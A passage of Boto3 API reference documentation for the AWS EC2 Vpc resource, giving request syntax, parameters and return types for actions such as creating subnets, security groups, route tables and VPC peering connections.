**Ipv6CidrBlockState** _(dict) -- + Information about the state of the CIDR block. + + * **State** _(string) -- + The state of the CIDR block. + + * **StatusMessage** _(string) -- + A message about the status of the CIDR block, if applicable. + + * **NetworkBorderGroup** _(string) -- + The name of the unique set of Availability Zones, Local Zones, or Wavelength Zones from which AWS advertises IP addresses, for example, us-east-1-wl1-bos-wlz-1 . + + * **Ipv6Pool** _(string) -- + The ID of the IPv6 address pool from which the IPv6 CIDR block is allocated. + + +is_default + +* _(boolean) --_ + + Indicates whether the VPC is the default VPC. + + +owner_id + +* _(string) --_ + + The ID of the AWS account that owns the VPC. + + +state + +* _(string) --_ + + The current state of the VPC. + + +tags + +* _(list) --_ + + Any tags assigned to the VPC. + + * _(dict) -- + Describes a tag. + + * **Key** _(string) -- + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) -- + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +vpc_id + +* _(string) --_ + + The ID of the VPC. + + +References + +References are related resource instances that have a belongs-to relationship. For more information about references refer to the [_Resources Introduction Guide_](../../guide/resources.html#references-intro). + +dhcp_options + +(DhcpOptions) The related dhcp_options if set, otherwise None. + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +associate_dhcp_options(kwargs_) + +Associates a set of DHCP options (that you've previously created) with the specified VPC, or associates no DHCP options with the VPC. + +After you associate the options with the VPC, any existing instances and all new instances that you launch in that VPC use the options. You don't need to restart or relaunch the instances. They automatically pick up the changes within a few hours, depending on how frequently the instance renews its DHCP lease. You can explicitly renew the lease using the operating system on the instance. + +For more information, see [DHCP Options Sets](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_DHCP_Options.html) in the _Amazon Virtual Private Cloud User Guide_ . + + +**Request Syntax** + +```py +response = vpc.associate_dhcp_options( + DhcpOptionsId='string', + DryRun=True|False +) +``` + +Parameters + +* **DhcpOptionsId** (_string_) -- **[REQUIRED]** The ID of the DHCP options set, or default to associate no DHCP options with the VPC. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- None + +attach_classic_link_instance(kwargs_) + +Links an EC2-Classic instance to a ClassicLink-enabled VPC through one or more of the VPC's security groups. You cannot link an EC2-Classic instance to more than one VPC at a time. You can only link an instance that's in the running state. An instance is automatically unlinked from a VPC when it's stopped - you can link it to the VPC again when you restart it. + +After you've linked an instance, you cannot change the VPC security groups that are associated with it. To change the security groups, you must first unlink the instance, and then link it again. + +Linking your instance to a VPC is sometimes referred to as _attaching_ your instance. + + +**Request Syntax** + +```py +response = vpc.attach_classic_link_instance( + DryRun=True|False, + Groups=[ + 'string', + ], + InstanceId='string', + +) +``` + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Groups** (_list_) -- **[REQUIRED]** The ID of one or more of the VPC's security groups. You cannot specify security groups from a different VPC. + + * _(string) --_ +* **InstanceId** (_string_) -- **[REQUIRED]** The ID of an EC2-Classic instance to link to the ClassicLink-enabled VPC. + +Return: +- Return type: dict +- **Response Syntax** + +```py +{ + 'Return': True|False +} +``` + + +**Response Structure** + +* _(dict) --_ + + * **Return** _(boolean) -- + Returns true if the request succeeds; otherwise, it returns an error. + + +attach_internet_gateway(kwargs_) + +Attaches an internet gateway or a virtual private gateway to a VPC, enabling connectivity between the internet and the VPC. For more information about your VPC and internet gateway, see the [Amazon Virtual Private Cloud User Guide](https://docs.aws.amazon.com/vpc/latest/userguide/) . + + +**Request Syntax** + +```py +response = vpc.attach_internet_gateway( + DryRun=True|False, + InternetGatewayId='string', + +) +``` + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **InternetGatewayId** (_string_) -- **[REQUIRED]** The ID of the internet gateway. + +- None + +create_network_acl(kwargs_) + +Creates a network ACL in a VPC. Network ACLs provide an optional layer of security (in addition to security groups) for the instances in your VPC. + +For more information, see [Network ACLs](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_ACLs.html) in the _Amazon Virtual Private Cloud User Guide_ . + + +**Request Syntax** + +```py +network_acl = vpc.create_network_acl( + DryRun=True|False, + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) +``` + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **TagSpecifications** (_list_) -- + + The tags to assign to the network ACL. + + * _(dict) -- + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) -- + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id1143)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id1145)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) -- + The tags to apply to the resource. + + * _(dict) -- + Describes a tag. + + * **Key** _(string) -- + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) -- + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +Return: +- Return type: ec2.NetworkAcl +- NetworkAcl resource + +create_route_table(kwargs_) + +Creates a route table for the specified VPC. After you create a route table, you can add routes and associate the table with a subnet. + +For more information, see [Route Tables](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Route_Tables.html) in the _Amazon Virtual Private Cloud User Guide_ . + + +**Request Syntax** + +```py +route_table = vpc.create_route_table( + DryRun=True|False, + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) +``` + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **TagSpecifications** (_list_) -- + + The tags to assign to the route table. + + * _(dict) -- + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) -- + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id1148)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id1150)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) -- + The tags to apply to the resource. + + * _(dict) -- + Describes a tag. + + * **Key** _(string) -- + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) -- + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +Return: +- Return type: ec2.RouteTable +- RouteTable resource + +create_security_group(kwargs_) + +Creates a security group. + +A security group acts as a virtual firewall for your instance to control inbound and outbound traffic. For more information, see [Amazon EC2 Security Groups](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-network-security.html) in the _Amazon Elastic Compute Cloud User Guide_ and [Security Groups for Your VPC](https://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/VPC_SecurityGroups.html) in the _Amazon Virtual Private Cloud User Guide_ . + +When you create a security group, you specify a friendly name of your choice. You can have a security group for use in EC2-Classic with the same name as a security group for use in a VPC. However, you can't have two security groups for use in EC2-Classic with the same name or two security groups for use in a VPC with the same name. + +You have a default security group for use in EC2-Classic and a default security group for use in your VPC. If you don't specify a security group when you launch an instance, the instance is launched into the appropriate default security group. A default security group includes a default rule that grants instances unrestricted network access to each other. + +You can add or remove rules from your security groups using AuthorizeSecurityGroupIngress , AuthorizeSecurityGroupEgress , RevokeSecurityGroupIngress , and RevokeSecurityGroupEgress . + +For more information about VPC security group limits, see [Amazon VPC Limits](https://docs.aws.amazon.com/vpc/latest/userguide/amazon-vpc-limits.html) . + + +**Request Syntax** + +```py +security_group = vpc.create_security_group( + Description='string', + GroupName='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + DryRun=True|False +) +``` + +Parameters + +* **Description** (_string_) -- **[REQUIRED]** A description for the security group. This is informational only. + + Constraints: Up to 255 characters in length + + Constraints for EC2-Classic: ASCII characters + + Constraints for EC2-VPC: a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + +* **GroupName** (_string_) -- **[REQUIRED]** The name of the security group. + + Constraints: Up to 255 characters in length. Cannot start with sg- . + + Constraints for EC2-Classic: ASCII characters + + Constraints for EC2-VPC: a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + +* **TagSpecifications** (_list_) -- + + The tags to assign to the security group. + + * _(dict) -- + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) -- + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id1153)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id1155)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) -- + The tags to apply to the resource. + + * _(dict) -- + Describes a tag. + + * **Key** _(string) -- + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) -- + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +Return: +- Return type: ec2.SecurityGroup +- SecurityGroup resource + +create_subnet(kwargs_) + +Creates a subnet in a specified VPC. + +You must specify an IPv4 CIDR block for the subnet. After you create a subnet, you can't change its CIDR block. The allowed block size is between a /16 netmask (65,536 IP addresses) and /28 netmask (16 IP addresses). The CIDR block must not overlap with the CIDR block of an existing subnet in the VPC. + +If you've associated an IPv6 CIDR block with your VPC, you can create a subnet with an IPv6 CIDR block that uses a /64 prefix length. + +Warning + +AWS reserves both the first four and the last IPv4 address in each subnet's CIDR block. They're not available for use. + +If you add more than one subnet to a VPC, they're set up in a star topology with a logical router in the middle. + +When you stop an instance in a subnet, it retains its private IPv4 address. It's therefore possible to have a subnet with no running instances (they're all stopped), but no remaining IP addresses available. + +For more information about subnets, see [Your VPC and Subnets](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Subnets.html) in the _Amazon Virtual Private Cloud User Guide_ . + + +**Request Syntax** + +```py +subnet = vpc.create_subnet( + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + AvailabilityZone='string', + AvailabilityZoneId='string', + CidrBlock='string', + Ipv6CidrBlock='string', + OutpostArn='string', + DryRun=True|False +) +``` + +Parameters + +* **TagSpecifications** (_list_) -- + + The tags to assign to the subnet. + + * _(dict) -- + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) -- + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id1158)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id1160)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) -- + The tags to apply to the resource. + + * _(dict) -- + Describes a tag. + + * **Key** _(string) -- + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) -- + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **AvailabilityZone** (_string_) -- + + The Availability Zone or Local Zone for the subnet. + + Default: AWS selects one for you. If you create more than one subnet in your VPC, we do not necessarily select a different zone for each subnet. + + To create a subnet in a Local Zone, set this value to the Local Zone ID, for example us-west-2-lax-1a . For information about the Regions that support Local Zones, see [Available Regions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-regions-availability-zones.html#concepts-available-regions) in the _Amazon Elastic Compute Cloud User Guide_ . + + To create a subnet in an Outpost, set this value to the Availability Zone for the Outpost and specify the Outpost ARN. + +* **AvailabilityZoneId** (_string_) -- The AZ ID or the Local Zone ID of the subnet. +* **CidrBlock** (_string_) -- **[REQUIRED]** The IPv4 network range for the subnet, in CIDR notation. For example, 10.0.0.0/24 . We modify the specified CIDR block to its canonical form; for example, if you specify 100.68.0.18/18 , we modify it to 100.68.0.0/18 . + +* **Ipv6CidrBlock** (_string_) -- The IPv6 network range for the subnet, in CIDR notation. The subnet size must use a /64 prefix length. +* **OutpostArn** (_string_) -- The Amazon Resource Name (ARN) of the Outpost. If you specify an Outpost ARN, you must also specify the Availability Zone of the Outpost subnet. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +Return: +- Return type: ec2.Subnet +- Subnet resource + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + +**Request Syntax** + +```py +tag = vpc.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) +``` + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Tags** (_list_) -- **[REQUIRED]** The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + * _(dict) -- + Describes a tag. + + * **Key** _(string) -- + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) -- + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +Return: +- Return type: list(ec2.Tag) +- A list of Tag resources + +delete(kwargs_) + +Deletes the specified VPC. You must detach or delete all gateways and resources that are associated with the VPC before you can delete it. For example, you must terminate all instances running in the VPC, delete all security groups associated with the VPC (except the default one), delete all route tables associated with the VPC (except the default one), and so on. + + +**Request Syntax** + +```py +response = vpc.delete( + DryRun=True|False +) +``` + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- None + +describe_attribute(kwargs_) + +Describes the specified attribute of the specified VPC. You can specify only one attribute at a time. + + +**Request Syntax** + +```py +response = vpc.describe_attribute( + Attribute='enableDnsSupport'|'enableDnsHostnames', + DryRun=True|False +) +``` + +Parameters + +* **Attribute** (_string_) -- **[REQUIRED]** The VPC attribute. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +Return: +- Return type: dict +- **Response Syntax** + +```py +{ + 'VpcId': 'string', + 'EnableDnsHostnames': { + 'Value': True|False + }, + 'EnableDnsSupport': { + 'Value': True|False + } +} +``` + + +**Response Structure** + +* _(dict) --_ + + * **VpcId** _(string) -- + The ID of the VPC. + + * **EnableDnsHostnames** _(dict) -- + Indicates whether the instances launched in the VPC get DNS hostnames. If this attribute is true , instances in the VPC get DNS hostnames; otherwise, they do not. + + * **Value** _(boolean) -- + The attribute value. The valid values are true or false . + + * **EnableDnsSupport** _(dict) -- + Indicates whether DNS resolution is enabled for the VPC. If this attribute is true , the Amazon DNS server resolves DNS hostnames for your instances to their corresponding IP addresses; otherwise, it does not. + + * **Value** _(boolean) -- + The attribute value. The valid values are true or false . + + +detach_classic_link_instance(kwargs_) + +Unlinks (detaches) a linked EC2-Classic instance from a VPC. After the instance has been unlinked, the VPC security groups are no longer associated with it. An instance is automatically unlinked from a VPC when it's stopped. + + +**Request Syntax** + +```py +response = vpc.detach_classic_link_instance( + DryRun=True|False, + InstanceId='string', + +) +``` + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **InstanceId** (_string_) -- **[REQUIRED]** The ID of the instance to unlink from the VPC. + +Return: +- Return type: dict +- **Response Syntax** + +```py +{ + 'Return': True|False +} +``` + + +**Response Structure** + +* _(dict) --_ + + * **Return** _(boolean) -- + Returns true if the request succeeds; otherwise, it returns an error. + + +detach_internet_gateway(kwargs_) + +Detaches an internet gateway from a VPC, disabling connectivity between the internet and the VPC. The VPC must not contain any running instances with Elastic IP addresses or public IPv4 addresses. + + +**Request Syntax** + +```py +response = vpc.detach_internet_gateway( + DryRun=True|False, + InternetGatewayId='string', + +) +``` + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **InternetGatewayId** (_string_) -- **[REQUIRED]** The ID of the internet gateway. + +- None + +disable_classic_link(kwargs_) + +Disables ClassicLink for a VPC. You cannot disable ClassicLink for a VPC that has EC2-Classic instances linked to it. + + +**Request Syntax** + +```py +response = vpc.disable_classic_link( + DryRun=True|False, + +) +``` + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +Return: +- Return type: dict +- **Response Syntax** + +```py +{ + 'Return': True|False +} +``` + + +**Response Structure** + +* _(dict) --_ + * **Return** _(boolean) -- + Returns true if the request succeeds; otherwise, it returns an error. + + +enable_classic_link(kwargs_) + +Enables a VPC for ClassicLink. You can then link EC2-Classic instances to your ClassicLink-enabled VPC to allow communication over private IP addresses. You cannot enable your VPC for ClassicLink if any of your VPC route tables have existing routes for address ranges within the 10.0.0.0/8 IP address range, excluding local routes for VPCs in the 10.0.0.0/16 and 10.1.0.0/16 IP address ranges. For more information, see [ClassicLink](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/vpc-classiclink.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + +**Request Syntax** + +```py +response = vpc.enable_classic_link( + DryRun=True|False, + +) +``` + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +Return: +- Return type: dict +- **Response Syntax** + +```py +{ + 'Return': True|False +} +``` + + +**Response Structure** + +* _(dict) --_ + * **Return** _(boolean) -- + Returns true if the request succeeds; otherwise, it returns an error. + + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. +- A list containing the name of each sub-resource for this resource +Return: +- Return type: list of str + +load() + +Calls [EC2.Client.describe_vpcs()](#EC2.Client.describe_vpcs "EC2.Client.describe_vpcs") to update the attributes of the Vpc resource. Note that the load and reload methods are the same method and can be used interchangeably. + + +**Request Syntax** + +```py +vpc.load() +- None + +modify_attribute(kwargs_) + +Modifies the specified attribute of the specified VPC. + + +**Request Syntax** + +```py +response = vpc.modify_attribute( + EnableDnsHostnames={ + 'Value': True|False + }, + EnableDnsSupport={ + 'Value': True|False + }, + +) +``` + +Parameters + +* **EnableDnsHostnames** (_dict_) -- + + Indicates whether the instances launched in the VPC get DNS hostnames. If enabled, instances in the VPC get DNS hostnames; otherwise, they do not. + + You cannot modify the DNS resolution and DNS hostnames attributes in the same request. Use separate requests for each attribute. You can only enable DNS hostnames if you've enabled DNS support. + + * **Value** _(boolean) -- + The attribute value. The valid values are true or false . + +* **EnableDnsSupport** (_dict_) -- + + Indicates whether the DNS resolution is supported for the VPC. If enabled, queries to the Amazon provided DNS server at the 169.254.169.253 IP address, or the reserved IP address at the base of the VPC network range "plus two" succeed. If disabled, the Amazon provided DNS service in the VPC that resolves public DNS hostnames to IP addresses is not enabled. + + You cannot modify the DNS resolution and DNS hostnames attributes in the same request. Use separate requests for each attribute. + + * **Value** _(boolean) -- + The attribute value. The valid values are true or false . + +- None + +reload() + +Calls [EC2.Client.describe_vpcs()](#EC2.Client.describe_vpcs "EC2.Client.describe_vpcs") to update the attributes of the Vpc resource. Note that the load and reload methods are the same method and can be used interchangeably. + + +**Request Syntax** + +```py +vpc.reload() +- None + +request_vpc_peering_connection(kwargs_) + +Requests a VPC peering connection between two VPCs: a requester VPC that you own and an accepter VPC with which to create the connection. The accepter VPC can belong to another AWS account and can be in a different Region to the requester VPC. The requester VPC and accepter VPC cannot have overlapping CIDR blocks. + +Note + +Limitations and rules apply to a VPC peering connection. For more information, see the [limitations](https://docs.aws.amazon.com/vpc/latest/peering/vpc-peering-basics.html#vpc-peering-limitations) section in the _VPC Peering Guide_ . + +The owner of the accepter VPC must accept the peering request to activate the peering connection. The VPC peering connection request expires after 7 days, after which it cannot be accepted or rejected. + +If you create a VPC peering connection request between VPCs with overlapping CIDR blocks, the VPC peering connection has a status of failed . + + +**Request Syntax** + +```py +vpc_peering_connection = vpc.request_vpc_peering_connection( + DryRun=True|False, + PeerOwnerId='string', + PeerVpcId='string', + PeerRegion='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) +``` + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is 